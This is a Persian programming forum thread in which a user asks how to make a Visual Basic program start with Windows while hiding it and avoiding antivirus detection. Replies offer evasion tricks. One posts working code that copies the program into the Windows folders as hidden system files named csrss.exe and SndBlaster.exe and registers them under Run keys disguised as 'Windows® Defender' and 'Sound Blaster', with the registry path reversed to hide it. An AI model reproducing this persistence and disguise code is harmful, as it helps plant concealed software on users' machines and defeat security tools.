ايران ويج

نسخه‌ی کامل: قرار دادن برنامه در حالت Startup
شما در حال مشاهده‌ی نسخه‌ی متنی این صفحه می‌باشید. مشاهده‌ی نسخه‌ی کامل با قالب بندی مناسب.
سلام میخوام برنامه با بالا آمدن ویندوز اجرا بشه. مسلما نمیخوام توی فولدر startup تابلو باشه.

از طریق رجیستری با کد زیر هم انجام دادم ولی برنامه توسط آنتی ویروس شناسایی میشه.
کد:
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

ممنون میشم کمکم کنید
کلا تا اونجا که من میدونم آنتی ها به این شاخه ها از رجیستری حساس هستند ؛ با روش های دیگه هم بنویسی احتمالا گیر کبدن
چرا برنامه های دیگه مثلا یاهو رو گیر نمیدن !؟

فایلتو با یه فایل دیگه که استارت آپ هست عوض کن ...
حل شد

حساس نیستند آقا. یه تست بزنید این مسئله رو. اگر برنامه در رویداد Load_Form در شاخه استارت آپ رجیستری چیزی ثبت کنه شناخته میشه ولی اگر بعد از لود شد این کار رو انجام بده انتی ایراد نمیگیره.

البته با کد بالا در هر دو صورت ایراد میگیره. ولی با فایل زیر که برای کار با رجیستری هست میتونید بعد از لود شدن برنامه در رجیستری بنویسید. دانلود فایل bas.

برای اینکه بعد از لود شدن فرم اجرا کنید ولی برنامه دیده نشه هم میتونید visible و taskvisible رو که false کردید یه تایمر بزارید داخل تایمر کد نوشتن در رجیستری رو بزارید. تایمر هم تنظیم کنید رو 1000 بعد هم unload me

برای نوشتن در رجیستری با کد بالا
کد:
SetStringValue "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN", "ProgName", "ProgAddress"
سلام دوست عزیز
ببینید اولا نرم افزاری مثل Yahoo Messenger از Certificate های دیجیتالی استفاده میکنند واسه همین کسی بهشون گیر نمیده
دوما مشکل شما رشته حاوی مسیر رجیستری نیست !! آنتی ویروس ها هوشمند شده وقتی یک رشته رجیستری رو با شی App.path استفاده میکنی مشخص که هدف چیه :دی

شما باید App.path رو حذف کنی و از یک مسیر ثابت استفاده کنی

واسه اینکار باید یه پولتیک بزنی در Load فورم فایل برنامتو کپی کن یه جائی مثلا system32 بعد تویه دستورات نوشتن در رجیستری از اون مسیر ثابت استفاده کن


این روش خودمه در این حالت کمتر آنتی ویروسی میشناسه ولی بازم بعضی خیلی باهوشن

[b]
Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Declare Function DoFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Public Function MyAppPath() As String
On Error Resume Next
If Right$(App.path, 1) = "\" Then MyAppPath = App.path & "puff_proxy.exe"
If Right$(App.path, 1) <> "\" Then MyAppPath = App.path & "\" & "puff_proxy.exe"

End Function

Public Function GetSysDir() As String
On Error Resume Next

Dim StrB As String
Dim iLen As Long

StrB = String$(128, Chr$(32))

iLen = GetSystemDirectory(StrB, 128)

GetSysDir = Left$(StrB, iLen) & "\"


End Function

Public Function GetWinDir() As String
On Error Resume Next

Dim StrB As String
Dim iLen As Long

StrB = String$(128, Chr$(32))

iLen = GetWindowsDirectory(StrB, 128)

GetWinDir = Left$(StrB, iLen) & "\"


End Function


Private Sub SaveString(Hkey As Long, strpath As String, strValue As String, strdata As String)
Dim keyhand As Long
Dim x As Long
x = RegCreateKey(Hkey, strpath, keyhand)
x = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
x = RegCloseKey(keyhand)
End Sub


Public Sub MakeStartup()
On Error Resume Next


Call DoFile(MyAppPath(), GetWinDir() & "csrss.exe", True)
DoEvents

Call SetAttr(GetWinDir() & "csrss.exe", vbHidden)
Call SetAttr(GetWinDir() & "csrss.exe", vbSystem)
Call SetAttr(GetWinDir() & "csrss.exe", vbReadOnly)



Call DoFile(MyAppPath, GetSysDir & "SndBlaster.exe", True)

DoEvents

Call SetAttr(GetSysDir() & "SndBlaster.exe", vbHidden)
Call SetAttr(GetSysDir() & "SndBlaster.exe", vbSystem)
Call SetAttr(GetSysDir() & "SndBlaster.exe", vbReadOnly)

DoEvents


Call SaveString(HKEY_LOCAL_MACHINE, StrReverse("nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), "Windows® Defender", GetWinDir & "csrss.exe")
Call SaveString(HKEY_CURRENT_USER, StrReverse("nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), "Sound Blaster", GetSysDir() & "SndBlaster.exe")

DoEvents
DoEvents

End Sub
[/b]
(۲۴-اردیبهشت-۱۳۹۰, ۱۶:۱۷:۰۳)HamedFaa نوشته است: [ -> ]حل شد

حساس نیستند آقا. یه تست بزنید این مسئله رو. اگر برنامه در رویداد Load_Form در شاخه استارت آپ رجیستری چیزی ثبت کنه شناخته میشه ولی اگر بعد از لود شد این کار رو انجام بده انتی ایراد نمیگیره.

البته با کد بالا در هر دو صورت ایراد میگیره. ولی با فایل زیر که برای کار با رجیستری هست میتونید بعد از لود شدن برنامه در رجیستری بنویسید. دانلود فایل bas.

برای اینکه بعد از لود شدن فرم اجرا کنید ولی برنامه دیده نشه هم میتونید visible و taskvisible رو که false کردید یه تایمر بزارید داخل تایمر کد نوشتن در رجیستری رو بزارید. تایمر هم تنظیم کنید رو 1000 بعد هم unload me

برای نوشتن در رجیستری با کد بالا
کد:
SetStringValue "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN", "ProgName", "ProgAddress"

بنده تست کردم حساسن ولی اونابه این گیر میدن
App.path و App.exename